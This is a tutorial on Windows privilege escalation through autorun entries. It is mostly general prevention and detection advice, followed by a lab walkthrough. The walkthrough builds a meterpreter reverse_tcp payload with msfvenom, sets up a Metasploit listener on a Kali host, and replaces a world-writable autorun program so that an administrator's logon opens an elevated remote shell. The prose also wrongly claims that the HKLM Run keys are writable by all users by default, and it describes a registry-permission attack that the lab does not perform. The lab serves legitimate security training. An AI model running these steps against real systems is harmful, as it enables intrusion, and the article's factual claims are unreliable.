Windows Priv Escalation — Registry Escalation: Understanding the Risks and How to Secure Your System

Introduction:

Registry Escalation Autorun is a privilege escalation attack that exploits a vulnerability in the Windows Registry. In this type of attack, an attacker gains elevated privileges by modifying the autorun settings in the Windows Registry to execute a malicious program during system startup. The attack can be carried out by exploiting weaknesses in the operating system or through social engineering techniques that trick users into granting unauthorized access.

In this article, we will discuss the Registry Escalation Autorun attack in detail, including how it works, how to prevent it, and how to detect and mitigate the damage caused by it.

How the Registry Escalation Autorun Attack Works:

The Registry Escalation Autorun attack takes advantage of the Windows Registry, which is a central database that stores configuration information for the operating system, applications, and user settings. The Registry is organized into keys, each of which contains one or more values that define system settings.

One of the keys in the Windows Registry is the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key, which stores information about programs that are executed during system startup. The Registry contains a similar key for each user profile on the system, located in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

When Windows starts up, it reads the contents of these keys and executes any programs listed in them. This feature is intended to allow users to specify programs that should be started automatically when the system boots up. However, this also provides an opportunity for attackers to inject malicious code into the startup process and gain elevated privileges.

To carry out a Registry Escalation Autorun attack, an attacker must first gain access to the target system. This can be accomplished through a variety of methods, including social engineering attacks, phishing emails, or exploiting vulnerabilities in the operating system or third-party applications.

Once the attacker has gained access to the system, they will search for vulnerabilities that can be exploited to escalate their privileges. One of the most common vulnerabilities exploited in Registry Escalation Autorun attacks is the weak permissions assigned to the Registry keys.

By default, the Run keys in the Windows Registry are readable and writable by all users on the system. This means that any user can modify the contents of these keys, including adding new entries or modifying existing ones.

To carry out a Registry Escalation Autorun attack, the attacker will create a malicious program and save it to the Windows Registry as an autorun program. The attacker can then modify the permissions of the Run key to grant themselves full control over the key.

When the Windows machine restarts, the malicious program is automatically executed with elevated privileges, giving the attacker full access to the system. The attacker can use this access to carry out further attacks or to steal sensitive data from the system.

Preventing Registry Escalation Autorun Attacks:

Preventing Registry Escalation Autorun attacks requires a multi-layered approach that includes regular security updates, user education, and endpoint protection tools such as antivirus and intrusion detection systems. Additionally, it is essential to restrict user permissions to prevent unauthorized access to the Windows Registry and other system resources.

1. Regular Security Updates:

One of the most effective ways to prevent Registry Escalation Autorun attacks is to keep the operating system and applications up to date with the latest security updates. Microsoft regularly releases patches and updates to address security vulnerabilities in the Windows operating system. It is essential to install these updates as soon as they become available to reduce the risk of exploitation.

2. User Education:

Another critical component of preventing Registry Escalation Autorun attacks is user education. Users must be trained to recognize and avoid social engineering attacks that can lead to unauthorized access to the system. This includes training on how to recognize phishing emails and other types of social engineering attacks that can trick users into clicking

on malicious links or downloading malware.

Additionally, users should be instructed on the importance of strong passwords and instructed on best practices for creating and storing them securely. Users should also be taught to avoid using the same password for multiple accounts and to change their passwords regularly.

Endpoint Protection:

Endpoint protection tools, such as antivirus and intrusion detection systems, can also help prevent Registry Escalation Autorun attacks. These tools can detect and block known malware and suspicious activity on the system, alerting the user or administrator to potential threats.

Endpoint protection should be configured to scan the Windows Registry for malicious entries, including those in the Run keys. This can help detect and prevent malicious programs from executing during system startup.

Restrict User Permissions:

One of the most effective ways to prevent Registry Escalation Autorun attacks is to restrict user permissions to the Windows Registry and other system resources. By default, users have full control over the Run keys in the Windows Registry, which can allow them to add or modify entries that execute malicious code during system startup.

To prevent unauthorized access, it is essential to restrict user permissions to the Run keys. This can be accomplished through the use of Group Policy or by manually modifying the permissions of the keys. It is recommended that only administrators be granted full control over the Run keys, while standard users should be restricted to read-only access.

Detection and Mitigation of Registry Escalation Autorun Attacks:

Detecting and mitigating the damage caused by a Registry Escalation Autorun attack can be challenging, as the attack is designed to execute automatically during system startup, giving the attacker elevated privileges.

However, there are several steps that can be taken to detect and mitigate the damage caused by a Registry Escalation Autorun attack:

Monitor System Logs:

One of the first steps in detecting a Registry Escalation Autorun attack is to monitor system logs for suspicious activity. Event logs can provide information on changes made to the Windows Registry, including modifications to the Run keys.

By monitoring system logs, administrators can detect suspicious activity and investigate it further to determine if it is related to a Registry Escalation Autorun attack.

Remove Malicious Entries:

If a Registry Escalation Autorun attack is detected, the first step is to remove the malicious entries from the Run keys in the Windows Registry. This can be accomplished through the use of registry editing tools, such as Regedit or PowerShell.

It is important to remove all malicious entries and any associated files to prevent the attack from executing during system startup.

Scan for Malware:

After removing the malicious entries from the Run keys, it is important to scan the system for malware. This can be accomplished through the use of antivirus or other endpoint protection tools.

If malware is detected, it should be removed immediately to prevent further damage to the system.

Harden System Security:

After a Registry Escalation Autorun attack has been detected and mitigated, it is important to harden the system security to prevent future attacks. This includes implementing the security measures described above, such as regular security updates, user education, and endpoint protection.

Additionally, it may be necessary to perform a thorough security audit of the system to identify and remediate other vulnerabilities that may be present.

Conclusion:

The Registry Escalation Autorun attack is a type of privilege escalation attack that targets Windows operating systems. The attack exploits a vulnerability in the Windows Registry to execute malicious code with elevated privileges during system startup.

Preventing Registry Escalation Autorun attacks requires a multi-layered approach that includes regular security updates, user education, and endpoint protection tools. Additionally, it is essential to restrict user permissions to prevent unauthorized access to the Windows Registry and other system resources.

If a Registry Escalation Autorun attack is detected, it is important to remove the

malicious entries from the Run keys in the Windows Registry, scan the system for malware, and harden system security to prevent future attacks.

As with any cybersecurity threat, prevention is key. By implementing best practices for system security, including regular security updates and user education, organizations can significantly reduce the risk of Registry Escalation Autorun attacks and other types of cybersecurity threats.

It is also important to have a response plan in place in case a Registry Escalation Autorun attack or other cybersecurity threat is detected. This plan should include steps for detecting and mitigating the attack, as well as procedures for reporting the attack to the appropriate authorities.

In summary, the Registry Escalation Autorun attack is a serious cybersecurity threat that can cause significant damage to Windows operating systems. By implementing best practices for system security and having a response plan in place, organizations can reduce the risk of these types of attacks and mitigate the damage if they do occur.

Let’s Jump into Practical part

Windows VM

1. Open command prompt and type: C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe

2. In Autoruns, click on the ‘Logon’ tab.

3. From the listed results, notice that the “My Program” entry is pointing to “C:\Program Files\Autorun Program\program.exe”.

4. In command prompt type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu “C:\Program Files\Autorun Program”

5. From the output, notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.

Exploitation

Kali VM

1. Open command prompt and type: msfconsole

2. In Metasploit (msf > prompt) type: use multi/handler

3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp

4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]

5. In Metasploit (msf > prompt) type: run

6. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o program.exe

7. Copy the generated file, program.exe, to the Windows VM.

Windows VM

1. Place program.exe in ‘C:\Program Files\Autorun Program’.

2. To simulate the privilege escalation effect, logoff and then log back on as an administrator user.

Kali VM

1. Wait for a new session to open in Metasploit.

2. In Metasploit (msf > prompt) type: sessions -i [Session ID]

3. To confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid.

Hope it helped :)